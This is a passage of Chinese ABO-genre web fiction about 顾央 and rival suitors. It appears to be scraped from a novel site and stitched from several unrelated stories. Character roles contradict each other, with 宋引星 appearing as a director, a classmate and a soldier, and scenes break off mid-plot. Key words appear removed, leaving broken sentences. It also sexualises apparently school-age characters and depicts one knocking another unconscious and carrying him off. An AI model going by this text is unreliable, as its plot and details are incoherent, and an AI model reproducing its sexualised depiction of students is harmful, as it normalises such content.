外面一片漆黑,只有门口老旧的路灯散发着微弱的光芒。 身后却不适星宜地响起一个熟悉的声音。 “原来你喜欢沈燮安?” 这个声音对顾央来说再熟悉不过,顿星让他全身冰凉。 他猛地转过身,看见宋引星斜倚在别墅门外抽烟,姿态慵懒随意。 “你知道沈燮安对顾怀星的感情有多深吗?”宋引星问他。 顾央沉默许久,回答:“我知道。” 他比任何人都清楚沈燮安对顾怀星的感情。 他见过沈燮安在顾怀星死后的疯狂和残忍。也是因为这样深的爱,他被沈燮安折磨了整整四年。 宋引星掸了掸烟灰,淡淡回忆道:“六年前我们在巴黎拍戏,发生过一场事故,沈燮安冲进火场救顾怀星,差点失去性命。还有在三年前……” “我没兴趣知道这些。” 无论是他对沈燮安的感情,还是沈燮安为顾怀星做过的事,都已经是过去的事了。 “是吗?”宋引星轻声笑了笑,“喜欢沈燮安的人从来不在少数。但他们永远不会把顾怀星当做情敌,因为每个人都知道,顾怀星在沈燮安心里的地位是无法撼动的。” “宋导也是来嘲讽我的吗?”顾央直视向他那双深邃的眼睛,只觉得埋在记忆里的那根刺又往深处推进了几分。 “我只是在提醒你,离沈燮安太近的后果。” “宋导究竟想说什么?” 宋引星修长的手指灭掉烟,迈着优雅闲散的步子来到他面前,挺括的身姿在夜色下是如此耀眼,微微上扬的尾音却比月光更加凉薄。 “与其跟他,不如跟我?” 说来说去,似乎就是不愿意让他去见顾央,戚珣意识到这一点,心里顿时便像是被一个疙瘩硌了一下。 宋引星却又补充:“小戚总不必多想,宋家有块地的投标,恐怕还要麻烦戚家帮衬,就当是我今日卖你一个人情。 毕竟,军部私立医院可是全国最顶尖的医院,戚家的私人医生恐怕也没有他们面对伤患的经验丰富吧?” 他这话滴水不漏,戚珣也挑不出差错,沉郁着一张俊秀的脸。 九月的雨连绵不绝,顺着医院灰色的檐脊流下,“唰唰”一片,形成透明的雨帘。戚珣隔着雨帘,如有所感地抬头望向顾央所在的病房。 病房被窗帘遮挡着,什么也看不见。 他内心莫名烦躁,也许是因为下雨,也许是因为顾央发|情期来了,居然该死地不求助于他,也许是因为一些别的,说不清道不明的原因。 他看着那扇窗户,想起了小时候还天真地被顾央蒙骗玩弄的自己。 那时的他确实是真心喜欢过顾央的, 冬天的水管道是彻骨地冷,上面接满了冰凌,他戴着厚厚的手套,试图攀爬上去,然而手套太厚,阻隔了寒风,就使不上力。 最后他把手套扒下来,凭着一双稚嫩的手爬上去,冰凌在他手上划出细细小小的伤痕,很痛,让他记了很多年,可打开窗户,看见顾央那种雪白而惊愕的脸时,他又觉得什么都值了。 只是顾央却并不把他放在心上,甚至还背叛他,将他的一片真心摔在地上,摔坏,踩碎,碾进泥土。 戚珣像是骤然被蛇咬了一口,眉头狠狠跳了一下。 他清醒过来,不明白自己为什么要为顾央的事,大晚上跑到这样的地方,还和多年老友要人。顾央值得他这么花费心血么? 无论如何,宋引星之前根本不认识顾央,眼下只是为了两人交好的关系从而对顾央照拂,他大可不必想那么多。 戚珣深呼吸一口气,闭了闭眼,最后冷静下来,克制道:“行,那就麻烦小军爷帮忙照顾了。” 他说出这句话时,还不知道宋引星日后打算做什么,否则恐怕是恨不得穿越时空,把说出这句话的自己给掐死。 宋引星则兴致盎然地看着戚珣变化莫测的表情:“放心。” 他像是一只不怀好意的大尾巴狼,视线慢悠悠地挪到顾央病房的方向,隔着雨幕打量半晌,最后勾了勾唇,意味深长道:“我一定会帮你照顾好你的小男友的。” 但在看到宋引星那明显精神不济的样子,顾清许脸上忍不住露出点嘲讽的笑容。 虽然有事没去,但他听同学说过昨晚宋引星去了聂家的宴会,还以为是这个土包子因为开了眼界落差感太大,现在正在emo。 “你看着心情很不好啊,看起来昨晚的事情对你打击很大。”顾清许微笑着开口。 宋引星沉沉地看着他,不知道为什么他现在看着顾清许的脸,就有种说不出的厌恶感,这种厌恶并不仅仅在于宋子涵的伤,还牵扯到了更多更多。 不断累积的压抑情绪如同滚雪球一样,逐渐地将他逼到边缘,他都有点听不进去,对方还叽里咕噜地说了什么话。 有一瞬间他甚至觉得,如果给他一把刀,他会毫不犹豫地捅上去。 “我都说什么了来着,我们本来就不是一个世界的人。”顾清许说完后,又施施然地转向顾央,“你怎么又跟他黏在一起,还不赶紧到……” 顾清许话音未落,突然右脸传来一阵强烈的冲击感,他的脑袋一歪,整个人在这股冲力下往后趔趄了过去。 顾清许都懵了,他捂着脸,不可置信地盯着宋引星,一副反了天了的样子。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 60-70 第 61 章 第 61 章 没人扶他,顾清许自己摇摇晃晃地扶着旁边的栏杆重新站直,然后环视了圈周围,见没有人目睹到这一幕后,才暗自松了口气。 顾央轻轻地啊了一声,看看顾清许又看看宋引星,但就是站在原地不动。 “你没看到我被人打了吗?跟个大爷一样,动一动过来扶我一把能累死你啊?”顾清许气不打一处来,“宋引星,你在发什么癫?” 宋引星面无表情地看着他,那双漆黑的眼睛缺少神采,看着还有些瘆人。 “他怎么你了吗?”顾央好奇地问道,他还是第一次见到这样的宋引星。 “你往哪里走?上副驾。” 暴雨淅淅沥沥地砸在车窗上,顾央似乎很疲惫,他没有挣扎,一上车,丁宴就“啧”了一声,抱怨道:“我的车都被你坐湿了,你得赔我。” 顾央含糊地道了声谢,接过毛巾擦脸时,他手抬起来,湿漉漉的衬衫黏着他的腰滑上去了一截,露出一截苍白纤细的腰。 男生腰肢劲瘦,弧度软软地顺着后脊凹陷进去,雪白的肤色一片明晃晃,白腻得要命。 莹白的雨水顺着他的腰线缓慢下滑,一路顺着骶骨延伸向下,没入一片阴影…… 丁宴眼神直了一瞬间,等他反应过来,顿时脸色大变,如临大敌地往后仰,脸上嫌恶的神色一闪而过,嘴里却还念念有词,气势汹汹道:“顾央,你搞清楚你的身份!” “少把你那些下三滥的手段用在我身上,我告诉你,你是不可能勾引我成功的!你是,我也是,我们之间是不可能恋的!这辈子都不可能恋的!!!” 他看上去像是一只张牙舞爪的猫,凶恶极了。 “……”顾央擦脸的手一顿,他扭过头,露出一双微茫的眼睛,说:“可是我们两个男生,也不能在一起啊。” 丁宴:“?” 他差点从驾驶座上跳起来,抓住顾央的衣领,颇有些咬牙切齿的意味:“那你和戚珣是在玩吗?” 顾央嘴角顿时浮现浅浅的笑意,丁宴定睛一看,就知道他又在装无辜耍自己,忍不住气抖冷。 世界上怎么会有如此两面三刀之人?凭什么他在戚珣面前就又乖又软,在他面前,却要像一只狐狸一样将自己玩弄在股掌之中!看不起谁呢! 丁宴牙痒痒,威胁道:“顾央,你等着,我总有一天要向戚珣检举你!揭发你!你个毒妇!” 他气得要死,但是居然还是靠过来,给顾央系上安全带。 顾央鼻尖顿时一片海盐的清香,他忽然想起了海边贩卖的海盐冰淇淋。 一只海盐冰淇淋味的小河豚。 丁宴靠过来,不仅没有闻到那天隐隐约约的雪松林清香,反而闻了一鼻子硝烟味,连自己也没有注意到地失落起来,狐疑道:“怎么回事?你身上怎么都是……”戚珣的。 “。” 丁宴想到了什么,骤然反应过来,顿时脸色暴红,“你你你”了半天,似乎不敢相信。 顾央看他那样,就知道这小孩又要骂自己轻浮浪荡了,于是挑了挑眉,轻飘飘地笑:“对啊,我们睡了一天一夜。” 一天一夜?!这浓度,生|殖腔都要被*熟透了吧?! 他恨不得长出一个x光扫射机,把顾央翻来覆去扫射一遍,看此人究竟有多浪荡不检点,偏此时眼尖得很——他又瞥见顾央的手腕。 一道央黑色的指印烙印在苍白得几乎透明的手腕上,想起刚刚停车时,瞥见的这人微红的眼睛,一口气堵在胸口,气得快要死去活来。 “你……” 他只觉得男神在心中高高在上的形象崩塌——原来他们在床上还玩这么开吗?! 他一想到顾央被戚珣蒙住眼睛,抓着手腕将他锁在床头,而顾央却依然仍有他在自己身上撒泼为所欲为——脱口而出,嫌恶地骂道:“蠢货!你不知道拒绝吗!” “拒绝什么?”顾央迷茫。被咬一口而已,需要这么大反应吗? “你……”丁宴一想到他和戚珣亲近,一股醋意就从天而降,磨着牙,阴恻恻地道:“顾央,我好心载你上车,你少在我面前炫耀。你总有一天被玩死都不知道。” 顾央:“。” 好了,海盐冰淇淋味的小河豚又炸了,不知道戳到他哪根痛骨了。 然而他很快就说不出这种话了,回学校后,丁宴简直疯了一般,天天缠着他,下课纠缠,吃饭纠缠,就连上厕所,也要纠缠一下。 此人金玉其外,败絮其内,简直要将不安好心发挥到极致,包藏祸心地接近他,问的问题一个赛一个愚蠢,一个比一个窒息。 句式通常以“戚珣”为开头,以“他喜欢/不喜欢”为骨干,最后以“你说得肯定是假的,我要避开”为结尾。 他似乎完全忘记他问的是戚珣的男朋友,他名义上的情敌,然而,丁宴却不以为然。 若说加德王立学院中,最了解戚珣的,必然是与他共同起居,照顾他的顾央。 更何况,与顾央多接触,方能知己知彼,百战百胜,迟早有一日,他会了解顾央所有的缺点和不可言说的秘密,以此威胁他离开戚珣—— 这么一想,一箭双雕,两全其美,他简直是个天才! 顾央在图书馆时,好不容易翻到那本书——《枪械基础指导》,又被丁宴堵在了图书架之间。丁宴两手撑在他两侧,逼迫他无路可走,头低下来,“顾央,你说不说?” “说什么?”顾央无奈,“戚珣最喜欢吃的是鱼骨,最讨厌的是笨蛋,最习惯的颜色是黑色,最满意的花是玫瑰……” 丁宴呵呵冷笑两声:“我问你,你就告诉我?你难道忘记了,我们是情敌关系?肯定是假的。” 顾央无语。他试着推开,推不动:“。” “你看的什么?”丁宴一低头,皱眉,“《枪械基础指导》?” 顾央“嗯”了一声,“丁宴,你知道军部的考试在每年的什么时候,对考生一般什么要求吗?” 他问起问题时,声音常常会软下来,颇有些轻声细语的意味。 丁宴晃神片刻,下意识托盘而出:“军部每年有两场考试,今年,也就是十二月有一场,明年的话,大概是四月有一场。” “主要科目为笔试和实战,实战中分为:射击、格斗、潜伏、炸弹拆卸、后勤……等等,你问这个做什么?” 他猛地回过神来,忍不住有些懊恼。怎么每次一听顾央说什么,他就下意识地回答了呢? 这岂不是显得他很没有骨气?像是抛个骨头就“汪”地一声扭身去追的傻狗? 他堂堂丁家大少爷,怎能如此不值钱。 于是他很快就开启了嘲讽模式,一扬下巴,讥笑道:“哈,你也想进军部?就你?先不说你是,你连同为的我都比不过,就你这胳膊力气和废物般的身体,进去找死么?” 他喋喋不休,声音逐渐与许多年前,医院里影影绰绰的呓语重合。 【这孩子天生体弱,太可怜了。】 【早死的命……留着他,像是留着一只将死的猫。别在他身上花费太多感情。浪费。】 【他什么也做不了……活着有什么意义呢?】 医院,吊瓶,点滴,尖锐的针,惨白的床单,以及嘀嘀作响的冰冷的仪器。小顾央头上缠着绷带,坐在病床上,静静地听着门外的低语,看向窗外飘零的红枫,蓝色的双眸一片寂静。 “我知道我身体不好,可你偏要这样么。” 顾央静静地抬起一双眸。丁宴心莫名一颤,上扬的尾音仿若戛然而止的音乐会,脸上的笑容一僵。 他们之间静默,顾央推开他,这次倒是很容易就推开了。 他头也没回,丁宴看向他,书架庞大的阴影罩在他的上半身,他的表情隐没在阴影之中。 顾央回班后,瘦猴的位置已经空了。其余两个看着他,表情莫名有些畏惧,他平静地坐在座位上,低头看着用戚珣的卡借来的书,忽然有些厌倦。 两个偷偷看他,的表情恹恹的,他们瞬间像是夹紧尾巴的狗,一来我往地在课桌地下互踢。 “看吧,你上次肯定惹他生气了。” 一个压低声音,忿忿道:“我就叫你不要凑瘦猴的热闹,他现在被揍得连床都下不了。” 另一个大喊冤枉,“我哪知道瘦猴要对付的是一个,太掉价了!” “他今天看上去脸色好糟糕,是不是不开心……你有没有什么甜食,吃了可以让心情变好的那种?” “我堂堂男子汉大,怎么会有甜食?你在瞧不起谁?” “要你何用?我怎么会有你这样的双胞胎哥哥,废物点心。” 他们你一言我一语,互相嫌弃至极地踢着对方的椅子,顾央抬起头,不明所以地看着他们,眉头微蹙。 “他瞪我……” “胡说,明明是瞪的我,他的眼睛好漂亮,像是两颗蓝宝石……” 两个被蹙眉瞥了一眼,莫名更兴奋了,他们不约而同地想起上次顾央冷着脸,将瘦猴砸进玻璃里的模样,莫名面红耳热。 丁宴一整个上午,上课上得心神不宁,好不容易下课铃响,他“哗啦”一声推开桌椅站起来,面无表情地穿过回廊,来到顾央班前,就看到两个不知道从哪里掏出来一盒巧克力,一脸娇羞地递给顾央。 的神色有些愕然,以及不知所措。 丁宴盯着那盒巧克力,粉色包装,上面还有一个蝴蝶结。 里面的白巧克力看上去甜到发腻,能腻死人,不知道是哪个低端牌子的廉价货。 哈,这样的东西也好意思送人。不过顾央一个小仆从,见到有人送他巧克力肯定乐坏了…… 他居然还真收了?! 丁宴脸已经完全黑了,转身就走。 “你不是天天都跟顾央待在一起吗?这些天是怎么回事?我看他跟姓宋待在一起的时间都快要比你长了。”他忍不住刺道。 “阿央和谁待在一起都是他的自由,我为什么要干涉那么多呢?”贺明安笑道,“都已经认识那么多年了,我要是天天疑神疑鬼的也太不像话了吧。” 顾清许看不惯他这副以先来者自居的样子,他后面打听过,他到顾家的那个时间点上,贺明安和顾央好像也才刚刚认识一周。 而且这一周之前,贺家才发生过相当夺人眼球的八卦。 明明贺家和顾家的关系一直以来只能算是平平,没有特别走心的交往。 当时还是贺明安主动抛出的橄榄枝,对着在宴会上充当小透明,拒绝社交的顾央。 所以他怀疑对方目的不纯,不也是很正常的事情? 第 62 章 第 62 章 “是吗?”听完顾清许的质疑后,贺明安笑容依然和煦,他拉长了声音,听起来还有些惋惜,“原来你在心里是这么想我的啊。” “说起来交友这件事情,看得不就是个眼缘吗?”我也只不过是单纯得觉得……“思忖了下措辞后,他才笑着继续说道,“和阿央很合得来而已。” 顾清许扯了下嘴角,脸上红肿的地方被他牵扯得痛到眼皮都在跳。 他没心情在这里继续和贺明安扯皮,也怕有人路过看到他现在的狼狈样子,冷笑一声后就大步离开了这里。 贺明安望着他离去的身影,缓缓地收起了脸上的笑容。 在原地沉顿许久后,楼上的工作人员急匆匆地走了下来检查设备,看到地上被踩到碎得不能再碎的储存卡,表情瞬间不太好看。 “抱歉,刚刚走过去时不小心碰在地上碎了。”贺明安温声说道,“到时候你开个单子,我会原价补偿的。” 这怎么看也不像是能摔碎的,但索性也没什么要紧东西,工作人员也就没多说什么,现场加了个联系方式,嘴上还在说着谦辞。 “也不是什么大事,这次贵校允许我们进来拍摄,已经是万分感谢了。” 他们这个以记录程子时日常为主题的小成本综艺本来只是粉丝专供,但像是观礼中学这种级别的贵族学校本来就自带流量,还能够吸引一波粉圈以外的观众。 贺明安恢复了笑容,和工作人员客套了几句后就回到了教室。 “顾央呢?顾央去哪里了?”才打开门,他就看到谢坞抱着个手机,满教室痛苦地乱窜。 贺明安脚步一顿,然后才继续走了进去问道:“怎么了吗?” 蒋白止缓缓低头,与被他压在身下,面色绯红的对视。 面色茫然,却依然紧咬着唇,眼尾一片湿热的红,眼神朦胧,淡淡的香气从他被咬得嫣红的唇隙中溢出。 他穿着学校的制服衬衫,可能是因为刚换了衣服,扣子还没来得及扣好,露出大片大片白皙的锁骨,一小块阴影游动在他锁骨与脖颈连接的三角凹陷之中,细碎的发丝湿漉漉地黏至颈侧,乌色衬得他皮肤更是如瓷一般的白。 蒋白止神色冷得厉害,然而他身体却滚烫如火一般,紧紧地将罩在他的阴影之下。 “你是谁?”蒋白止双眼通红,咬着牙,神智艰难地挣扎,低声道:“赶紧滚!别靠近我,我警告你——” 欲望与神智在他大脑间翻滚,在喉间滚出一声威胁的低吼:“收起你下贱的!别妄图勾引我——” 平心而论,蒋白止长得很端正,他今天戴了一副金丝眼镜框,衬衫外面套了一件灰色马甲,嘴唇薄薄地抿成一条锋利的直线,显得薄情而冰冷,充斥着斯文败类的气息,一副冷淡刻薄的精英模样。 他嘴上这样说着,可身体却实诚地缠着顾央,双手依然不受控制地勒住顾央的腰,衬衫轻而易举地被弄皱推上去,露出一小截漂亮精瘦的腰。 蒋白止的手很大,指节修长,中指处有一个长期握笔而形成的茧,双手紧紧地掐在后腰一块凹下去的凹陷,指尖一片令人发麻的滑腻触感,像是抱住了一条湿滑的鱼。 双手无力地勾在他的脖子上,头无力地后折,挂在他身上,眼神涣散,两个人鼻尖点着鼻尖,呼吸交缠。 蒋白止脑子顿时轰地一声,平日里约束极为严苛的自我管控一下子被抛至九霄云外。 他双目通红,已然全部失去神智,西装上的领带被他解开,扣至最上面的纽扣被解开两颗,露出一片精壮的胸膛。 他下意识吸了吸鼻子,上次那个味道让他难以忘记,回到家后,一整个晚上,梦中都是一片安静的雪松林。 他想起了小时候与妈妈呆在古堡的时候,窗外便是一片高大的雪松林树。 积雪从树梢上落下,他的母亲站在树下,浅笑着,对他张开怀抱,而他扑进那个温暖而芬香的怀抱之中——对他来说,舒适而安宁的家便是幼时母亲在雪松林下的拥抱。 可鼻尖没有雪松林淡淡的清香,反而是一阵浓郁的硝烟味。 为什么没有? 蒋白止平日里看来高冷无情的脸,此刻写满了焦躁与烦闷,他像一只大狗一样,抽了抽鼻子,埋进顾央的颈间,鼻尖抵着衬衫,一路缓慢地往下嗅闻。 衬衫被他抵开缝隙,的锁骨间有一粒很细小的红痣,他鼻尖划过红痣,一路抵在了白净柔软的胸|脯上。 的身躯滚烫,胸|脯剧烈地起伏,带着他的鼻尖一起,仿佛翻滚的海浪。 那日素雅而安宁的香味此刻却像是被厚重的灰尘掩埋。 “啊……” 灼热的呼吸打在胸口,皮肤表面瞬间起了一层鸡皮疙瘩。顾央感觉体内一阵阵致命的酥麻感,从脊骨一路过电似地,触击他的大脑,他如坠云雾一般,整个人神智模糊不清,只能如溺水一般抱住了眼前这唯一一个滚烫而炙热的浮木。 他闭着眼,几滴生理性泪水从眼角流下。 眼泪中夹杂着少量,蒋白止顿了下来,接着,缓慢地凝固在了那双蓄满了生理性眼泪的婴儿蓝双眼,脑子里一瞬间被汹涌澎湃的欲|望淹没。 好香…… 他把修长无力的腿折起来,挂在他精壮的后腰上,懵懵懂懂地看着他,似乎没有反应过来发生了什么。 蒋白止低下头,顾央忽然感觉到脸上一片湿热,热烘烘的热气迎面而来,龙涎香让他的大脑一片空白,他像是一个玩偶一样眼神空洞,就这么任由在他身上的男人为所欲为。 空气中一片暧|昧的湿热气息,门外的警报依然在响,红光透过宿舍的小窗,照进来,仿佛血红色的月光,危险而暧昧。蒋白止的唇擦过打湿的睫毛,接着烙印在的眼角处,像是一个得不到释放的狗,一下一下地舔舐掉顾央眼角的眼泪。 眼看他就要顺着脸颊下滑,亲吻呼出湿热气息的唇缝, “咔嚓” 清脆的照相机的声音传来,顾央猛地清醒过来,他瞳孔微微缩小,别过脸,趴在他身上的却不满意地皱起了剑眉,下意识地俯下身,死死护住了身下的。 的领地意识极强,他几乎是瞬间露出犬齿,目光变得有攻击性起来,往身后看去。 “谁?” 顾央昏沉的大脑被这声拍照声惊醒,他放下方才被情|热冲昏头脑而勾住脖颈的手,交叉的双腿试图并在一起,往回缩,压在他身上的感觉到他想要逃离,立刻扭回头,眉头拧得更紧,握住了他的脚踝。 “看来是我打扰了两位的兴致?” 一个懒洋洋的声音从门口传来。 顾央咬着牙,艰难地抬起头,看见一个央年靠在门边。 他一身军绿色制服,修长的小腿被军靴束起,勾勒出笔直利落的弧线,胸前挂着几枚金光闪闪的勋章,站姿松散,却不觉得轻浮,反而像是一只潜伏着,伺机而动、随时爆发的小狮子。 更引人注目的是他那一头金发,警报声不知什么时候停止了,门外是金灿灿的阳光顺着走廊而涌入,他站在逆光处,于是阳光便给他的轮廓镶嵌上一层橘黄色的金边,让他看上去仿佛一个神秘的雕塑。 他嘴里似乎叼着什么东西,看上去极为不正经,一只手拿着相机,低头端详着照片,“啧”了一声,似乎有些意外地评价道:“没想到蒋少居然也有沦为被控制的这一天,栽得可真可怜。” 他另一只手则把玩着一个L状的东西,修长的手指翻转,在阳光下折射出冰冷的光芒。顾央眯起眼睛,定睛一看——那居然是一把手|枪! 央年抬起手,枪缓慢地对准倒在地上的两个人。 他嘴里咬着一根棒棒糖,糖果在臼齿中咔嚓一声被咬断,甜腻的草莓气息溢出——居然还是草莓味的阿尔卑斯! 央年笑了一下,耸耸肩,“抑制弹。价格一万零八千人民币,折合一百八十张星币,蒋少,这可是你欠我的。” 扳机扣动,一声枪响,一枚血红色的子弹划破半空,精准无比地射|入蒋白止的右肩。蒋白止脸上一闪而过痛楚,接着轰然倒地,重重地压在顾央身上。 顾央连忙偏了下头,蒋白止砸在他的颈窝中,磕到他的锁骨,两个人都轻轻地倒吸一口凉气。 蒋白止不甘心地低吼两声,他抓住纤细脚踝的手不受控制地松开,这让他脸上一片绝望与愤怒,还有些微不可察的难过。 央年眯了眯眼睛,缓慢地走了进来。 军靴在地上“哒哒”作响,顾央视野中出现央年那双绷得笔直利落的长腿,军靴在昏暗的灯光下泛着昂贵的色泽,恐怕是真皮制作而成,价值不菲。 央年随手一抛,抛给顾央一个沉重的铁块,“他现在对象是你,除了你以外,生人勿进。给他戴上。” 顾央吃力地接住,低头一看,才发现那居然是一个止咬器。 铁笼子在冰冷的白炽灯下淬着寒铁似的光,像是给凶猛野兽上的一道无情的枷锁。 他犹豫了一会,解开扣子,盖在蒋白止的脸上,轻柔地在他脑后扣上扣子。蒋白止委屈地呜咽一声,止咬器轻轻地往他脸上撞,喉咙里滚出闷闷的呜呜声。 那张禁欲冷淡的脸此刻皱成一团,两道粗而狂野的剑眉委屈地瞥成“八”字,像是不明白主人为什么要惩罚自己的大狗。 顾央被撞得一鼻子铁锈味,忍不住拍了拍蒋白止的头。蒋白止的表情让他恍惚了一下,像是小时候总是委屈巴巴地抱着他腿的戚珣,下意识地哄道:“乖,很快就好。” “呜。” 蒋白止似乎非常不满意,甩了甩头,他今天还戴了一个金丝眼镜,方才动作太过剧烈,现下已经被他甩掉,砸在地上,咚地一声响。 被命定这样说,蒋白止只能失落地深深埋下了头,头不断地在顾央的颈窝蹭,蹭得他原本精致打理的发型凌乱起来。 他像个傻狗、疯狗一样扑在脆弱的身上,西装裤后面如果有尾巴,恐怕现在已经摇成螺旋桨了。 央年的表情奇异极了,“顾央,小看你了。你训狗技巧真是炉火纯央,怎么,被戚珣的狗劲训练出来的?不过,劝你一句,等蒋白止醒来就赶紧逃吧。” 他像是想起什么很高兴的事情一样,弯起了眼睛,“他要是知道的自己对你这么眷恋,你要么被他囚禁,要么被他杀死。他从来不喜欢别人控制自己,只有他控制别人的份,是个彻头彻尾的控制狂。” 他一靠近,顾央才看清他的脸。央年长得很好看,但是与戚珣、蒋白止都不太相似——是一种野性的英气,剑眉入鬓,鼻梁高挺,眼窝很深,一双眼睛居然是翡翠般的绿,幽深如碧潭。 可若是仔细看,似乎又能看见他眼底的戏谑,与一股无由来的厌恶,漠然地看着顾央。 顾央抬起头,忍不住反驳:“戚珣才不是狗。”狗没他那么神经质。 央年却以为他是在护着戚珣,忍不住嗤笑一声,“行行行,知道你爱他爱得发疯,爱得卑微,顾央,你还真是……情人眼里出西施,什么锅配什么盖。” 顾央艰难地把蒋白止从身上掀下来,蒋白止躺在地上,瞪着眼睛看着他,一双眼睛里写满了委屈。 顾央没有看他,他头疼欲裂,浑身发热,好在方才那股奇怪的酥麻感下去了,他喘了几口气,朝着央年伸手,平静道:“刚刚的照片,麻烦你删掉。” 他一起身,方才被蒋白止用鼻尖拱开的衬衫就从肩膀上滑落下来,露出半个圆润的肩头和如羊脂玉般白皙的皮肤,然而他头脑昏沉,没来得及注意这个,只知道死死地盯着央年,手心都是汗。 刚刚那个照片如果给戚珣看到了…… 他一想到这个,就头皮发麻,因此即使眼前都出现了重影,依然固执地看向央年,重复道:“请删掉。” 央年看着他,后退一步,英俊的眉皱起,脸上的警惕一闪而过。 他侧过头,看向旁边的蒋白止,忽然间明白了什么,脸上浮现一个若有似无的笑,自言自语般道:“上一世怎么没发现,你这么胆大包天,蒋白止都敢招惹,现在还来勾引我。” “戚珣要是知道,岂不是得气死?” 说到这个,他脸上的笑容更加意味深长,“顾央,我确定了。” 顾央不明白他在说什么,可下一刻,一凉,央年指尖拂过他的,掀起他搭在的头发,轻轻地嗅闻了一下。 央年闷闷一笑,“啊呀,这位可怜的小,你快发|情期了。” 发|情热让顾央的身体格外敏感,呼吸打在上,他浑身一激灵,睁大眼睛,仰起头,“你……” 然而他没来得及说完,央年就伸过来手,往他一掐,顾央瞬间晕了过去,软软地倒在央年的怀抱之中。 “这么轻?啧,一碰就碎。” 央年抄起的双腿和腋下,将他抱起来,轻得跟羽毛一样。 地上的蒋白止依然没有恢复神智。抑制弹里的药物输送至他全身需要时间,尤其是对S级的,起效更为缓慢。 此时,他像是一个在巢穴之中,却只能眼睁睁地看着自己伴侣被抢走的狼王,瞪大了双眼,浑身却还因为抑制弹的原因无法动弹,喉咙中滚出愤怒的低吼。 “宋引星!!!” 不行……不要走……还回来…… 抑制弹的催眠作用却让他的眼皮越来越沉,他艰难地看着央年抱着离开的背影,一直到昏睡之前,都死死地瞪着,像是要从他身上咬下一块肉一般。 被称作“宋引星”的央年回过头,讶异地看了蒋白止一眼,接着,笑了笑,食指在唇上碰了碰,“这个我就先绑架了,蒋哥,清醒过来你会感激我的。” “不应该是你在看什么吗?”顾央说着,顺着贺明安刚才的视线转过头去,但被对方拿着菜单轻轻挡住了视线。 “刚才外面有对情侣在吵架而已,没什么好看的。” “难得你主动约我吃饭,就不要把注意力分给那些无关紧要的人了吧。” 顾央心不在焉地应了声。 “你是不是有什么话想要对我说?” 对方主动抛出了话题,他刚想要顺势接上去,话到嘴边的时候却顿住了。 他突然想到,现在说这些话真的好吗? 这个念头并不清晰,只是模模糊糊地印在他的心口。 不知道从什么时候开始,他开始会去注意到这些事情了。 第 63 章 第 63 章 贺明安也敏感地察觉到了这一点。 他本身思绪就有些飘忽,看着顾央此刻的样子,突然就回想起了他们认识时的景象。 那次应该并不能算是初见。 在更早时的一个家庭聚会上就已经见过一次了。 在他的初印象里,那是一个有些不合群,性格古怪的孩子。 合不上任何一个话题,和别人的情绪也显得脱节。 顾央迷迷糊糊间,做了一个梦。 梦中一片大雪,他又被关在了雪白一片的医院。 冬天时的天空总是阴沉沉的,即使飘着雪花,似乎也是一种毫无生气、透露着死气的美丽。 他静静地坐在床上,床边灰色没有色彩的仪器发出无机质的“嘀嘀”声,在病发内空荡荡地回响。 男孩没什么表情地看向窗外,他看上去才很小,脸巴掌大,瘦瘦尖尖的,纷纷扬扬的雪花如柳絮一般飘落,病房外,传来低声交谈的声音,有人鬼影一般从门外一闪而过。 一个男人和一个女人的声音隔着门扉传来: “顾央的身体很不好,会不会有问题?能养活吗?” “有什么问题?当时捡回来时,不就是冲着这一点吗? 身体不好,不用怕他与小珣夺权,底子也还行,不是劣等货,如果未来分化成,就更好了。 毕竟,不少口味比较独特的贵族,就嗜好这一口,用来联姻,说不定可以换取更大的利益。” “你说得有道理。不过,话说回来,小珣最近是不是太黏着那顾央了?” “没错,我也发现了。总是黏糊糊地缠着顾央,不像个男孩,太不像话了。我已经下令让戚珣三个月内不得靠近顾央。小孩嘛,忘性很快的。三个月后,他肯定对顾央就失去兴趣了。” “顾央一个人在医院里,没问题吗?” “有什么问题?有吃有住,还要怎么样?应该对我们感恩戴德。” 小顾央垂下眼睛,睫毛在他苍白的脸上浮动出一小块阴影。 那是捡他回来的戚家养父母,不过,对于小顾央来说,他们说的东西并不会刺伤他,这也不算是什么很伤心的事情。 理论上看,一个病弱的孩子会被收养,不是撞大运,遇见了大好人,就是别有居心。 小顾央其实很聪明,他被捡回来后,曾经在一场考试上展现出了惊人的记忆力,并且轻松地在一场跨年级的考试中,拿了满分。 戚珣考得比他差,但是当时却只是很高兴地在他旁边说,“哥你好厉害。” 小顾央拿给养父母,他觉得养父母应该也会开心,可是不久,戚父就对他说:“顾央,你的身体不好。” “学校就不去了。” 顾央这才明白自己犯下了一个多么大的错。 当晚他发了一场高烧,醒来后,似乎烧坏了脑子,他变得更加柔弱,也更加温顺听话,像是一只收敛了所有爪牙,变得温顺无害的小病猫,隔三差五就要住一趟医院。 他今年不知道第几次又住院了,他也数不清,五次?还是六次…… 门外的声音渐行渐远,他觉得有些困倦,戚家的事情很复杂,他认真地思考怎么才能离开戚家,毕竟他的户口和身份证都记挂在戚家名下,而十二岁的他,大概也很难养活这么一个体弱多病的自己。 小顾央是一个坏小孩,他从很小的时候就谋划着离家出走,是一个背信弃义的叛徒,只不过,他犹豫着,不知道应不应该带着自己年幼的弟弟一起逃跑。 他越想越困,干脆不想了。正要倒进被子里时,一阵凉风却猛地灌进来,冷冰冰地扑了他一脸。 他一惊,眼睛猛地睁开,一抬头,就见到窗户大开,一个半大的男孩吃力地攀住窗户,对他胡乱挥舞着手,急急忙忙道:“哥哥快抓住我!我快摔下去了!” 他叫嚷的声音还不小,小顾央被吓了一跳,连忙扑过去,拽着男孩的胳膊往里拉,他的手臂被拽得生疼,忍不住训斥道:“这是二楼!你怎么不走正门!” “砰”地一声,男孩拔萝卜似地被拉了进来,两个人滚作一团,顾央倒在地上,闷哼一声,刚要起来,又被男孩扑倒在地。 男孩死死抱住他,脸在他胸口胡乱地蹭着,像是一只湿乎乎的小狗。 “正门被我爸看着,他不让我进来看你,我就顺着通风管道爬进来了。”男孩趴在他胸口上,仰起脸,露出一双乌黑发亮的黑眼睛,黏糊糊地抱住顾央,“哥哥我好想你。” 他身上的衣服很冷,看得出男孩在窗外受过一阵冻,爬管道的手指通红,还有几道细细的口子,正往外渗血。 小顾央刚碰一下,就被冷得一个哆嗦。放课后,顾央又去找了一趟班主任。文意坐在座位上,用一种无奈的表情,看着他,“你真的要去考军部?上一次的事情我也听说了,你落水后就发烧了吧?” 顾央却很坚定。他叹了口气,很忧愁似的,“唉……你这体质,即使过了笔试,后面的实战考试怎么办?你……你如果真的很坚持,就帮你试试吧。你有报名费吗?” 